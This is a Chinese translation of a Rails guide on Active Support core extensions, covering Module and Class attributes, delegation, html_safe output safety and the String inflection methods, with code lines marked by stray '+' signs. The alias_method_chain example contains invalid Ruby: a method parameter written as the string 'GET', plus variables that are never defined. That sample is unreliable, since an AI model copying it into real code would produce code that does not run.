Active Support 实现的 to_json 方法比 json gem 更好用,这是因为 HashOrderedHashProcess::Status 等类转换成 JSON 时要做特别处理。

active_support/core_ext/object/json.rb 文件中定义。

2.12 实例变量

Active Support 提供了很多便于访问实例变量的方法。

2.12.1 instance_values +

instance_values 方法返回一个散列,把实例变量的名称(不含前面的 @ 符号)映射到其值上,键是字符串:

+
+class C
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+end
+
+C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
+
+
+
+

active_support/core_ext/object/instance_variables.rb 文件中定义。

2.12.2 instance_variable_names +

instance_variable_names 方法返回一个数组,实例变量的名称前面包含 @ 符号。

+
+class C
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+end
+
+C.new(0, 1).instance_variable_names # => ["@x", "@y"]
+
+
+
+

active_support/core_ext/object/instance_variables.rb 文件中定义。

2.13 静默警告和异常

silence_warningsenable_warnings 方法修改各自代码块的 $VERBOSE 全局变量,代码块结束后恢复原值:

+
+silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
+
+
+
+

异常消息也可静默,使用 suppress 方法即可。suppress 方法可接受任意个异常类。如果执行代码块的过程中抛出异常,而且异常属于(kind_of?)参数指定的类,suppress 方法会静默该异常类的消息,否则抛出异常:

+
+# 如果用户锁定了,访问次数不增加也没关系
+suppress(ActiveRecord::StaleObjectError) do
+  current_user.increment! :visits
+end
+
+
+
+

active_support/core_ext/kernel/reporting.rb 文件中定义。

2.14 in? +

in? 方法测试某个对象是否在另一个对象中。如果传入的对象不能响应 include? 方法,抛出 ArgumentError 异常。

in? 方法使用举例:

+
+1.in?([1,2])        # => true
+"lo".in?("hello")   # => true
+25.in?(30..50)      # => false
+1.in?(1)            # => ArgumentError
+
+
+
+

active_support/core_ext/object/inclusion.rb 文件中定义。

3 Module 的扩展

3.1 alias_method_chain +

这个方法已经弃用,请使用 Module#prepend

在 Ruby 中,可以把方法包装成其他方法,这叫别名链(alias chain)。

例如,想在功能测试中把参数看做字符串,就像在真正的请求中一样,但希望保留赋值数字等值的便利,可以在文件 test/test_helper.rb 中包装 ActionDispatch::IntegrationTest#process 方法:

+
+ActionDispatch::IntegrationTest.class_eval do
+  # 保存原 process 方法的引用
+  alias_method :original_process, :process
+
+  # 现在重新定义 process,委托给 original_process
+  def process('GET', path, params: nil, headers: nil, env: nil, xhr: false)
+    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+    original_process('GET', path, params: params)
+  end
+end
+
+
+
+

getpost 等方法就是委托这个方法实现的。

这种技术有个问题,:original_process 方法可能已经存在了。为了避免方法重名,人们者发明了一种链状结构:

+
+ActionDispatch::IntegrationTest.class_eval do
+  def process_with_stringified_params(...)
+    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+    process_without_stringified_params(method, path, params: params)
+  end
+  alias_method :process_without_stringified_params, :process
+  alias_method :process, :process_with_stringified_params
+end
+
+
+
+

alias_method_chain 方法可以简化上述过程:

+
+ActionDispatch::IntegrationTest.class_eval do
+  def process_with_stringified_params(...)
+    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+    process_without_stringified_params(method, path, params: params)
+  end
+  alias_method_chain :process, :stringified_params
+end
+
+
+
+

active_support/core_ext/module/aliasing.rb 文件中定义。

3.2 属性

3.2.1 alias_attribute +

模型的属性有读值方法、设值方法和判断方法。alias_attribute 方法可以一次性为这三种方法创建别名。和其他创建别名的方法一样,alias_attribute 方法的第一个参数是新属性名,第二个参数是旧属性名(我是这样记的,参数的顺序和赋值语句一样):

+
+class User < ApplicationRecord
+  # 可以使用 login 指代 email 列
+  # 在身份验证代码中可以这样做
+  alias_attribute :login, :email
+end
+
+
+
+

active_support/core_ext/module/aliasing.rb 文件中定义。

3.2.2 内部属性

如果在父类中定义属性,有可能会出现命名冲突。代码库一定要注意这个问题。

Active Support 提供了 attr_internal_readerattr_internal_writerattr_internal_accessor 三个方法,其行为与 Ruby 内置的 attr_* 方法类似,但使用其他方式命名实例变量,从而减少重名的几率。

attr_internal 方法是 attr_internal_accessor 方法的别名:

+
+# 库
+class ThirdPartyLibrary::Crawler
+  attr_internal :log_level
+end
+
+# 客户代码
+class MyCrawler < ThirdPartyLibrary::Crawler
+  attr_accessor :log_level
+end
+
+
+
+

在上面的例子中,:log_level 可能不属于代码库的公开接口,只在开发过程中使用。开发者并不知道潜在的重名风险,创建了子类,并在子类中定义了 :log_level。幸好用了 attr_internal 方法才不会出现命名冲突。

默认情况下,内部变量的名字前面有个下划线,上例中的内部变量名为 @_log_level。不过可使用 Module.attr_internal_naming_format 重新设置,可以传入任何 sprintf 方法能理解的格式,开头加上 @ 符号,并在某处放入 %s(代表原变量名)。默认的设置为 "@_%s"

Rails 的代码很多地方都用到了内部属性,例如,在视图相关的代码中有如下代码:

+
+module ActionView
+  class Base
+    attr_internal :captures
+    attr_internal :request, :layout
+    attr_internal :controller, :template
+  end
+end
+
+
+
+

active_support/core_ext/module/attr_internal.rb 文件中定义。

3.2.3 模块属性

方法 mattr_readermattr_writermattr_accessor 类似于为类定义的 cattr_* 方法。其实 cattr_* 方法就是 mattr_* 方法的别名。参见 类属性

例如,依赖机制就用到了这些方法:

+
+module ActiveSupport
+  module Dependencies
+    mattr_accessor :warnings_on_first_load
+    mattr_accessor :history
+    mattr_accessor :loaded
+    mattr_accessor :mechanism
+    mattr_accessor :load_paths
+    mattr_accessor :load_once_paths
+    mattr_accessor :autoloaded_constants
+    mattr_accessor :explicitly_unloadable_constants
+    mattr_accessor :constant_watch_stack
+    mattr_accessor :constant_watch_stack_mutex
+  end
+end
+
+
+
+

active_support/core_ext/module/attribute_accessors.rb 文件中定义。

3.3 父级

3.3.1 parent +

在嵌套的具名模块上调用 parent 方法,返回包含对应常量的模块:

+
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parent # => X::Y
+M.parent       # => X::Y
+
+
+
+

如果是匿名模块或者位于顶层,parent 方法返回 Object

此时,parent_name 方法返回 nil

active_support/core_ext/module/introspection.rb 文件中定义。

3.3.2 parent_name +

在嵌套的具名模块上调用 parent_name 方法,返回包含对应常量的完全限定模块名:

+
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parent_name # => "X::Y"
+M.parent_name       # => "X::Y"
+
+
+
+

如果是匿名模块或者位于顶层,parent_name 方法返回 nil

注意,此时 parent 方法返回 Object

active_support/core_ext/module/introspection.rb 文件中定义。

3.3.3 parents +

parents 方法在调用者上调用 parent 方法,直至 Object 为止。返回的结果是一个数组,由底而上:

+
+module X
+  module Y
+    module Z
+    end
+  end
+end
+M = X::Y::Z
+
+X::Y::Z.parents # => [X::Y, X, Object]
+M.parents       # => [X::Y, X, Object]
+
+
+
+

active_support/core_ext/module/introspection.rb 文件中定义。

3.3.4 限定的常量名

常规的 const_defined?const_getconst_set 方法接受裸常量名。Active Support 扩展了这个 API,可以传入相对限定的常量名。

新定义的方法是 qualified_const_defined?qualified_const_getqualified_const_set。它们的参数应该是相对接收者的限定常量名:

+
+Object.qualified_const_defined?("Math::PI")       # => true
+Object.qualified_const_get("Math::PI")            # => 3.141592653589793
+Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034
+
+
+
+

参数也可以是裸常量名:

+
+Math.qualified_const_get("E") # => 2.718281828459045
+
+
+
+

这些方法的行为与内置的对应方法类似。不过,qualified_constant_defined? 方法接受一个可选参数(第二个),指明判断时是否检查祖先树。沿路径检查时,表达式中的每个常量都会考虑这个参数。

例如:

+
+module M
+  X = 1
+end
+
+module N
+  class C
+    include M
+  end
+end
+
+
+
+

此时,qualified_const_defined? 的行为如下:

+
+N.qualified_const_defined?("C::X", false) # => false
+N.qualified_const_defined?("C::X", true)  # => true
+N.qualified_const_defined?("C::X")        # => true
+
+
+
+

如上例所示,第二个参数的默认值为 true,跟 const_defined? 一样。

为了与内置方法保持连贯,只接受相对路径。完全限定常量名,如 ::Math::PI,会抛出 NameError 异常。

active_support/core_ext/module/qualified_const.rb 文件中定义。

3.4 可达性

如果把具名模块存储在相应的常量中,模块是可达的,意即可以通过常量访问模块对象。

通常,模块都是如此。如果有名为“M”的模块,M 常量就存在,指代那个模块:

+
+module M
+end
+
+M.reachable? # => true
+
+
+
+

但是,常量和模块其实是解耦的,因此模块对象也许不可达:

+
+module M
+end
+
+orphan = Object.send(:remove_const, :M)
+
+# 现在模块对象是孤儿,但它仍有名称
+orphan.name # => "M"
+
+# 不能通过常量 M 访问,因为这个常量不存在
+orphan.reachable? # => false
+
+# 再定义一个名为“M”的模块
+module M
+end
+
+# 现在常量 M 存在了,而且存储名为“M”的常量对象
+# 但这是一个新实例
+orphan.reachable? # => false
+
+
+
+

active_support/core_ext/module/reachable.rb 文件中定义。

3.5 匿名

模块可能有也可能没有名称:

+
+module M
+end
+M.name # => "M"
+
+N = Module.new
+N.name # => "N"
+
+Module.new.name # => nil
+
+
+
+

可以使用 anonymous? 方法判断模块有没有名称:

+
+module M
+end
+M.anonymous? # => false
+
+Module.new.anonymous? # => true
+
+
+
+

注意,不可达不意味着就是匿名的:

+
+module M
+end
+
+m = Object.send(:remove_const, :M)
+
+m.reachable? # => false
+m.anonymous? # => false
+
+
+
+

但是按照定义,匿名模块是不可达的。

active_support/core_ext/module/anonymous.rb 文件中定义。

3.6 方法委托

delegate 方法提供一种便利的方法转发方式。

假设在一个应用中,用户的登录信息存储在 User 模型中,而名字和其他数据存储在 Profile 模型中:

+
+class User < ApplicationRecord
+  has_one :profile
+end
+
+
+
+

此时,要通过个人资料获取用户的名字,即 user.profile.name。不过,若能直接访问这些信息更为便利:

+
+class User < ApplicationRecord
+  has_one :profile
+
+  def name
+    profile.name
+  end
+end
+
+
+
+

delegate 方法正是为这种需求而生的:

+
+class User < ApplicationRecord
+  has_one :profile
+
+  delegate :name, to: :profile
+end
+
+
+
+

这样写出的代码更简洁,而且意图更明显。

委托的方法在目标中必须是公开的。

delegate 方法可接受多个参数,委托多个方法:

+
+delegate :name, :age, :address, :twitter, to: :profile
+
+
+
+

内插到字符串中时,:to 选项的值应该能求值为方法委托的对象。通常,使用字符串或符号。这个选项的值在接收者的上下文中求值:

+
+# 委托给 Rails 常量
+delegate :logger, to: :Rails
+
+# 委托给接收者所属的类
+delegate :table_name, to: :class
+
+
+
+

如果 :prefix 选项的值为 true,不能这么做。参见下文。

默认情况下,如果委托导致 NoMethodError 抛出,而且目标是 nil,这个异常会向上冒泡。可以指定 :allow_nil 选项,遇到这种情况时返回 nil

+
+delegate :name, to: :profile, allow_nil: true
+
+
+
+

设定 :allow_nil 选项后,如果用户没有个人资料,user.name 返回 nil

:prefix 选项在生成的方法前面添加一个前缀。如果想起个更好的名称,就可以使用这个选项:

+
+delegate :street, to: :address, prefix: true
+
+
+
+

上述示例生成的方法是 address_street,而不是 street

此时,生成的方法名由目标对象和目标方法的名称构成,因此 :to 选项必须是一个方法名。

此外,还可以自定义前缀:

+
+delegate :size, to: :attachment, prefix: :avatar
+
+
+
+

在这个示例中,生成的方法是 avatar_size,而不是 size

active_support/core_ext/module/delegation.rb 文件中定义。

3.7 重新定义方法

有时需要使用 define_method 定义方法,但却不知道那个方法名是否已经存在。如果存在,而且启用了警告消息,会发出警告。这没什么,但却不够利落。

redefine_method 方法能避免这种警告,如果需要,会把现有的方法删除。

active_support/core_ext/module/remove_method.rb 文件中定义。

4 Class 的扩展

4.1 类属性

4.1.1 class_attribute +

class_attribute 方法声明一个或多个可继承的类属性,它们可以在继承树的任一层级覆盖。

+
+class A
+  class_attribute :x
+end
+
+class B < A; end
+
+class C < B; end
+
+A.x = :a
+B.x # => :a
+C.x # => :a
+
+B.x = :b
+A.x # => :a
+C.x # => :b
+
+C.x = :c
+A.x # => :a
+B.x # => :b
+
+
+
+

例如,ActionMailer::Base 定义了:

+
+class_attribute :default_params
+self.default_params = {
+  mime_version: "1.0",
+  charset: "UTF-8",
+  content_type: "text/plain",
+  parts_order: [ "text/plain", "text/enriched", "text/html" ]
+}.freeze
+
+
+
+

类属性还可以通过实例访问和覆盖:

+
+A.x = 1
+
+a1 = A.new
+a2 = A.new
+a2.x = 2
+
+a1.x # => 1, comes from A
+a2.x # => 2, overridden in a2
+
+
+
+

:instance_writer 选项设为 false,不生成设值实例方法:

+
+module ActiveRecord
+  class Base
+    class_attribute :table_name_prefix, instance_writer: false
+    self.table_name_prefix = ""
+  end
+end
+
+
+
+

模型可以使用这个选项,禁止批量赋值属性。

:instance_reader 选项设为 false,不生成读值实例方法:

+
+class A
+  class_attribute :x, instance_reader: false
+end
+
+A.new.x = 1 # NoMethodError
+
+
+
+

为了方便,class_attribute 还会定义实例判断方法,对实例读值方法的返回值做双重否定。在上例中,判断方法是 x?

如果 :instance_reader 的值是 false,实例判断方法与读值方法一样,返回 NoMethodError

如果不想要实例判断方法,传入 instance_predicate: false,这样就不会定义了。

active_support/core_ext/class/attribute.rb 文件中定义。

4.1.2 cattr_readercattr_writercattr_accessor +

cattr_readercattr_writercattr_accessor 的作用与相应的 attr_* 方法类似,不过是针对类的。它们声明的类属性,初始值为 nil,除非在此之前类属性已经存在,而且会生成相应的访问方法:

+
+class MysqlAdapter < AbstractAdapter
+  # 生成访问 @@emulate_booleans 的类方法
+  cattr_accessor :emulate_booleans
+  self.emulate_booleans = true
+end
+
+
+
+

为了方便,也会生成实例方法,这些实例方法只是类属性的代理。因此,实例可以修改类属性,但是不能覆盖——这与 class_attribute 不同(参见上文)。例如:

+
+module ActionView
+  class Base
+    cattr_accessor :field_error_proc
+    @@field_error_proc = Proc.new{ ... }
+  end
+end
+
+
+
+

这样,我们便可以在视图中访问 field_error_proc

此外,可以把一个块传给 cattr_* 方法,设定属性的默认值:

+
+class MysqlAdapter < AbstractAdapter
+  # 生成访问 @@emulate_booleans 的类方法,其默认值为 true
+  cattr_accessor(:emulate_booleans) { true }
+end
+
+
+
+

:instance_reader 设为 false,不生成实例读值方法,把 :instance_writer 设为 false,不生成实例设值方法,把 :instance_accessor 设为 false,实例读值和设置方法都不生成。此时,这三个选项的值都必须是 false,而不能是假值。

+
+module A
+  class B
+    # 不生成实例读值方法 first_name
+    cattr_accessor :first_name, instance_reader: false
+    # 不生成实例设值方法 last_name=
+    cattr_accessor :last_name, instance_writer: false
+    # 不生成实例读值方法 surname 和实例设值方法 surname=
+    cattr_accessor :surname, instance_accessor: false
+  end
+end
+
+
+
+

在模型中可以把 :instance_accessor 设为 false,防止批量赋值属性。

active_support/core_ext/module/attribute_accessors.rb 文件中定义。

4.2 子类和后代

4.2.1 subclasses +

subclasses 方法返回接收者的子类:

+
+class C; end
+C.subclasses # => []
+
+class B < C; end
+C.subclasses # => [B]
+
+class A < B; end
+C.subclasses # => [B]
+
+class D < C; end
+C.subclasses # => [B, D]
+
+
+
+

返回的子类没有特定顺序。

active_support/core_ext/class/subclasses.rb 文件中定义。

4.2.2 descendants +

descendants 方法返回接收者的后代:

+
+class C; end
+C.descendants # => []
+
+class B < C; end
+C.descendants # => [B]
+
+class A < B; end
+C.descendants # => [B, A]
+
+class D < C; end
+C.descendants # => [B, A, D]
+
+
+
+

返回的后代没有特定顺序。

active_support/core_ext/class/subclasses.rb 文件中定义。

5 String 的扩展

5.1 输出的安全性

5.1.1 引子

把数据插入 HTML 模板要格外小心。例如,不能原封不动地把 @review.title 内插到 HTML 页面中。假如标题是“Flanagan & Matz rules!”,得到的输出格式就不对,因为 & 会转义成“&”。更糟的是,如果应用编写不当,这可能留下严重的安全漏洞,因为用户可以注入恶意的 HTML,设定精心编造的标题。关于这个问题的详情,请阅读 安全指南对跨站脚本的说明。

5.1.2 安全字符串

Active Support 提出了安全字符串(对 HTML 而言)这一概念。安全字符串是对字符串做的一种标记,表示可以原封不动地插入 HTML。这种字符串是可信赖的,不管会不会转义。

默认,字符串被认为是不安全的:

+
+"".html_safe? # => false
+
+
+
+

可以使用 html_safe 方法把指定的字符串标记为安全的:

+
+s = "".html_safe
+s.html_safe? # => true
+
+
+
+

注意,无论如何,html_safe 不会执行转义操作,它的作用只是一种断定:

+
+s = "<script>...</script>".html_safe
+s.html_safe? # => true
+s            # => "<script>...</script>"
+
+
+
+

你要自己确定该不该在某个字符串上调用 html_safe

如果把字符串追加到安全字符串上,不管是就地修改,还是使用 concat/<<+,结果都是一个安全字符串。不安全的字符会转义:

+
+"".html_safe + "<" # => "&lt;"
+
+
+
+

安全的字符直接追加:

+
+"".html_safe + "<".html_safe # => "<"
+
+
+
+

在常规的视图中不应该使用这些方法。不安全的值会自动转义:

+
+<%= @review.title %> <%# 可以这么做,如果需要会转义 %>
+
+
+
+

如果想原封不动地插入值,不能调用 html_safe,而要使用 raw 辅助方法:

+
+<%= raw @cms.current_template %> <%# 原封不动地插入 @cms.current_template %>
+
+
+
+

或者,可以使用等效的 <%==

+
+<%== @cms.current_template %> <%# 原封不动地插入 @cms.current_template %>
+
+
+
+

raw 辅助方法已经调用 html_safe 了:

+
+def raw(stringish)
+  stringish.to_s.html_safe
+end
+
+
+
+

active_support/core_ext/string/output_safety.rb 文件中定义。

5.1.3 转换

通常,修改字符串的方法都返回不安全的字符串,前文所述的拼接除外。例如,downcasegsubstripchompunderscore,等等。

就地转换接收者,如 gsub!,其本身也变成不安全的了。

不管是否修改了自身,安全性都丧失了。

5.1.4 类型转换和强制转换

在安全字符串上调用 to_s,得到的还是安全字符串,但是使用 to_str 强制转换,得到的是不安全的字符串。

5.1.5 复制

在安全字符串上调用 dupclone,得到的还是安全字符串。

5.2 remove +

remove 方法删除匹配模式的所有内容:

+
+"Hello World".remove(/Hello /) # => "World"
+
+
+
+

也有破坏性版本,String#remove!

active_support/core_ext/string/filters.rb 文件中定义。

5.3 squish +

squish 方法把首尾的空白去掉,还会把多个空白压缩成一个:

+
+" \n  foo\n\r \t bar \n".squish # => "foo bar"
+
+
+
+

也有破坏性版本,String#squish!

注意,既能处理 ASCII 空白,也能处理 Unicode 空白。

active_support/core_ext/string/filters.rb 文件中定义。

5.4 truncate +

truncate 方法在指定长度处截断接收者,返回一个副本:

+
+"Oh dear! Oh dear! I shall be late!".truncate(20)
+# => "Oh dear! Oh dear!..."
+
+
+
+

省略号可以使用 :omission 选项自定义:

+
+"Oh dear! Oh dear! I shall be late!".truncate(20, omission: '&hellip;')
+# => "Oh dear! Oh &hellip;"
+
+
+
+

尤其要注意,截断长度包含省略字符串。

设置 :separator 选项,以自然的方式截断:

+
+"Oh dear! Oh dear! I shall be late!".truncate(18)
+# => "Oh dear! Oh dea..."
+"Oh dear! Oh dear! I shall be late!".truncate(18, separator: ' ')
+# => "Oh dear! Oh..."
+
+
+
+

:separator 选项的值可以是一个正则表达式:

+
+"Oh dear! Oh dear! I shall be late!".truncate(18, separator: /\s/)
+# => "Oh dear! Oh..."
+
+
+
+

在上述示例中,本该在“dear”中间截断,但是 :separator 选项进行了阻止。

active_support/core_ext/string/filters.rb 文件中定义。

5.5 truncate_words +

truncate_words 方法在指定个单词处截断接收者,返回一个副本:

+
+"Oh dear! Oh dear! I shall be late!".truncate_words(4)
+# => "Oh dear! Oh dear!..."
+
+
+
+

省略号可以使用 :omission 选项自定义:

+
+"Oh dear! Oh dear! I shall be late!".truncate_words(4, omission: '&hellip;')
+# => "Oh dear! Oh dear!&hellip;"
+
+
+
+

设置 :separator 选项,以自然的方式截断:

+
+"Oh dear! Oh dear! I shall be late!".truncate_words(3, separator: '!')
+# => "Oh dear! Oh dear! I shall be late..."
+
+
+
+

:separator 选项的值可以是一个正则表达式:

+
+"Oh dear! Oh dear! I shall be late!".truncate_words(4, separator: /\s/)
+# => "Oh dear! Oh dear!..."
+
+
+
+

active_support/core_ext/string/filters.rb 文件中定义。

5.6 inquiry +

inquiry 方法把字符串转换成 StringInquirer 对象,这样可以使用漂亮的方式检查相等性:

+
+"production".inquiry.production? # => true
+"active".inquiry.inactive?       # => false
+
+
+
+

5.7 starts_with?ends_with? +

Active Support 为 String#start_with?String#end_with? 定义了第三人称版本:

+
+"foo".starts_with?("f") # => true
+"foo".ends_with?("o")   # => true
+
+
+
+

active_support/core_ext/string/starts_ends_with.rb 文件中定义。

5.8 strip_heredoc +

strip_heredoc 方法去掉 here 文档中的缩进。

例如:

+
+if options[:usage]
+  puts <<-USAGE.strip_heredoc
+    This command does such and such.
+
+    Supported options are:
+      -h         This message
+      ...
+  USAGE
+end
+
+
+
+

用户看到的消息会靠左边对齐。

从技术层面来说,这个方法寻找整个字符串中的最小缩进量,然后删除那么多的前导空白。

active_support/core_ext/string/strip.rb 文件中定义。

5.9 indent +

按指定量缩进接收者:

+
+<<EOS.indent(2)
+def some_method
+  some_code
+end
+EOS
+# =>
+  def some_method
+    some_code
+  end
+
+
+
+

第二个参数,indent_string,指定使用什么字符串缩进。默认值是 nil,让这个方法根据第一个缩进行做猜测,如果第一行没有缩进,则使用空白。

+
+"  foo".indent(2)        # => "    foo"
+"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
+"foo".indent(2, "\t")    # => "\t\tfoo"
+
+
+
+

indent_string 的值虽然经常设为一个空格或一个制表符,但是可以使用任何字符串。

第三个参数,indent_empty_lines,是个旗标,指明是否缩进空行。默认值是 false

+
+"foo\n\nbar".indent(2)            # => "  foo\n\n  bar"
+"foo\n\nbar".indent(2, nil, true) # => "  foo\n  \n  bar"
+
+
+
+

indent! 方法就地执行缩进。

active_support/core_ext/string/indent.rb 文件中定义。

5.10 访问

5.10.1 at(position) +

返回字符串中 position 位置上的字符:

+
+"hello".at(0)  # => "h"
+"hello".at(4)  # => "o"
+"hello".at(-1) # => "o"
+"hello".at(10) # => nil
+
+
+
+

active_support/core_ext/string/access.rb 文件中定义。

5.10.2 from(position) +

返回子串,从 position 位置开始:

+
+"hello".from(0)  # => "hello"
+"hello".from(2)  # => "llo"
+"hello".from(-2) # => "lo"
+"hello".from(10) # => nil
+
+
+
+

active_support/core_ext/string/access.rb 文件中定义。

5.10.3 to(position) +

返回子串,到 position 位置为止:

+
+"hello".to(0)  # => "h"
+"hello".to(2)  # => "hel"
+"hello".to(-2) # => "hell"
+"hello".to(10) # => "hello"
+
+
+
+

active_support/core_ext/string/access.rb 文件中定义。

5.10.4 first(limit = 1) +

如果 n > 0,str.first(n) 的作用与 str.to(n-1) 一样;如果 n == 0,返回一个空字符串。

active_support/core_ext/string/access.rb 文件中定义。

5.10.5 last(limit = 1) +

如果 n > 0,str.last(n) 的作用与 str.from(-n) 一样;如果 n == 0,返回一个空字符串。

active_support/core_ext/string/access.rb 文件中定义。

5.11 词形变化

5.11.1 pluralize +

pluralize 方法返回接收者的复数形式:

+
+"table".pluralize     # => "tables"
+"ruby".pluralize      # => "rubies"
+"equipment".pluralize # => "equipment"
+
+
+
+

如上例所示,Active Support 知道如何处理不规则的复数形式和不可数名词。内置的规则可以在 config/initializers/inflections.rb 文件中扩展。那个文件是由 rails 命令生成的,里面的注释说明了该怎么做。

pluralize 还可以接受可选的 count 参数。如果 count == 1,返回单数形式。把 count 设为其他值,都会返回复数形式:

+
+"dude".pluralize(0) # => "dudes"
+"dude".pluralize(1) # => "dude"
+"dude".pluralize(2) # => "dudes"
+
+
+
+

Active Record 使用这个方法计算模型对应的默认表名:

+
+# active_record/model_schema.rb
+def undecorated_table_name(class_name = base_class.name)
+  table_name = class_name.to_s.demodulize.underscore
+  pluralize_table_names ? table_name.pluralize : table_name
+end
+
+
+
+

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.2 singularize +

作用与 pluralize 相反:

+
+"tables".singularize    # => "table"
+"rubies".singularize    # => "ruby"
+"equipment".singularize # => "equipment"
+
+
+
+

关联使用这个方法计算默认的关联类:

+
+# active_record/reflection.rb
+def derive_class_name
+  class_name = name.to_s.camelize
+  class_name = class_name.singularize if collection?
+  class_name
+end
+
+
+
+

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.3 camelize +

camelize 方法把接收者变成驼峰式:

+
+"product".camelize    # => "Product"
+"admin_user".camelize # => "AdminUser"
+
+
+
+

一般来说,你可以把这个方法的作用想象为把路径转换成 Ruby 类或模块名的方式(使用斜线分隔命名空间):

+
+"backoffice/session".camelize # => "Backoffice::Session"
+
+
+
+

例如,Action Pack 使用这个方法加载提供特定会话存储功能的类:

+
+# action_controller/metal/session_management.rb
+def session_store=(store)
+  @@session_store = store.is_a?(Symbol) ?
+    ActionDispatch::Session.const_get(store.to_s.camelize) :
+    store
+end
+
+
+
+

camelize 接受一个可选的参数,其值可以是 :upper(默认值)或 :lower。设为后者时,第一个字母是小写的:

+
+"visual_effect".camelize(:lower) # => "visualEffect"
+
+
+
+

为使用这种风格的语言计算方法名时可以这么设定,例如 JavaScript。

一般来说,可以把 camelize 视作 underscore 的逆操作,不过也有例外:"SSLError".underscore.camelize 的结果是 "SslError"。为了支持这种情况,Active Support 允许你在 config/initializers/inflections.rb 文件中指定缩略词。

+
+
+
+ActiveSupport::Inflector.inflections do |inflect|
+  inflect.acronym 'SSL'
+end
+
+"SSLError".underscore.camelize # => "SSLError"
+
+
+
+
+

camelcasecamelize 的别名。

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.4 underscore +

underscore 方法的作用相反,把驼峰式变成蛇底式:

+
+"Product".underscore   # => "product"
+"AdminUser".underscore # => "admin_user"
+
+
+
+

还会把 "::" 转换成 "/"

+
+"Backoffice::Session".underscore # => "backoffice/session"
+
+
+
+

也能理解以小写字母开头的字符串:

+
+"visualEffect".underscore # => "visual_effect"
+
+
+
+

不过,underscore 不接受任何参数。

Rails 自动加载类和模块的机制使用 underscore 推断可能定义缺失的常量的文件的相对路径(不带扩展名):

+
+# active_support/dependencies.rb
+def load_missing_constant(from_mod, const_name)
+  ...
+  qualified_name = qualified_name_for from_mod, const_name
+  path_suffix = qualified_name.underscore
+  ...
+end
+
+
+
+

一般来说,可以把 underscore 视作 camelize 的逆操作,不过也有例外。例如,"SSLError".underscore.camelize 的结果是 "SslError"

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.5 titleize +

titleize 方法把接收者中的单词首字母变成大写:

+
+"alice in wonderland".titleize # => "Alice In Wonderland"
+"fermat's enigma".titleize     # => "Fermat's Enigma"
+
+
+
+

titlecasetitleize 的别名。

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.6 dasherize +

dasherize 方法把接收者中的下划线替换成连字符:

+
+"name".dasherize         # => "name"
+"contact_data".dasherize # => "contact-data"
+
+
+
+

模型的 XML 序列化程序使用这个方法处理节点名:

+
+# active_model/serializers/xml.rb
+def reformat_name(name)
+  name = name.camelize if camelize?
+  dasherize? ? name.dasherize : name
+end
+
+
+
+

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.7 demodulize +

demodulize 方法返回限定常量名的常量名本身,即最右边那一部分:

+
+"Product".demodulize                        # => "Product"
+"Backoffice::UsersController".demodulize    # => "UsersController"
+"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
+"::Inflections".demodulize                  # => "Inflections"
+"".demodulize                               # => ""
+
+
+
+

例如,Active Record 使用这个方法计算计数器缓存列的名称:

+
+# active_record/reflection.rb
+def counter_cache_column
+  if options[:counter_cache] == true
+    "#{active_record.name.demodulize.underscore.pluralize}_count"
+  elsif options[:counter_cache]
+    options[:counter_cache]
+  end
+end
+
+
+
+

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.8 deconstantize +

deconstantize 方法去掉限定常量引用表达式的最右侧部分,留下常量的容器:

+
+"Product".deconstantize                        # => ""
+"Backoffice::UsersController".deconstantize    # => "Backoffice"
+"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"
+
+
+
+

例如,Active Support 在 Module#qualified_const_set 中使用了这个方法:

+
+def qualified_const_set(path, value)
+  QualifiedConstUtils.raise_if_absolute(path)
+
+  const_name = path.demodulize
+  mod_name = path.deconstantize
+  mod = mod_name.empty? ? self : qualified_const_get(mod_name)
+  mod.const_set(const_name, value)
+end
+
+
+
+

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.9 parameterize +

parameterize 方法对接收者做整形,以便在精美的 URL 中使用。

+
+"John Smith".parameterize # => "john-smith"
+"Kurt Gödel".parameterize # => "kurt-godel"
+
+
+
+

如果想保留大小写,把 preserve_case 参数设为 true。这个参数的默认值是 false

+
+"John Smith".parameterize(preserve_case: true) # => "John-Smith"
+"Kurt Gödel".parameterize(preserve_case: true) # => "Kurt-Godel"
+
+
+
+

如果想使用自定义的分隔符,覆盖 separator 参数。

+
+"John Smith".parameterize(separator: "_") # => "john\_smith"
+"Kurt Gödel".parameterize(separator: "_") # => "kurt\_godel"
+
+
+
+

其实,得到的字符串包装在 ActiveSupport::Multibyte::Chars 实例中。

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.10 tableize +

tableize 方法相当于先调用 underscore,再调用 pluralize

+
+"Person".tableize      # => "people"
+"Invoice".tableize     # => "invoices"
+"InvoiceLine".tableize # => "invoice_lines"
+
+
+
+

一般来说,tableize 返回简单模型对应的表名。Active Record 真正的实现方式不是只使用 tableize,还会使用 demodulize,再检查一些可能影响返回结果的选项。

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.11 classify +

classify 方法的作用与 tableize 相反,返回表名对应的类名:

+
+"people".classify        # => "Person"
+"invoices".classify      # => "Invoice"
+"invoice_lines".classify # => "InvoiceLine"
+
+
+
+

这个方法能处理限定的表名:

+
+"highrise_production.companies".classify # => "Company"
+
+
+
+

注意,classify 方法返回的类名是字符串。你可以调用 constantize 方法,得到真正的类对象,如下一节所述。

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.12 constantize +

constantize 方法解析接收者中的常量引用表达式:

+
+"Integer".constantize # => Integer
+
+module M
+  X = 1
+end
+"M::X".constantize # => 1
+
+
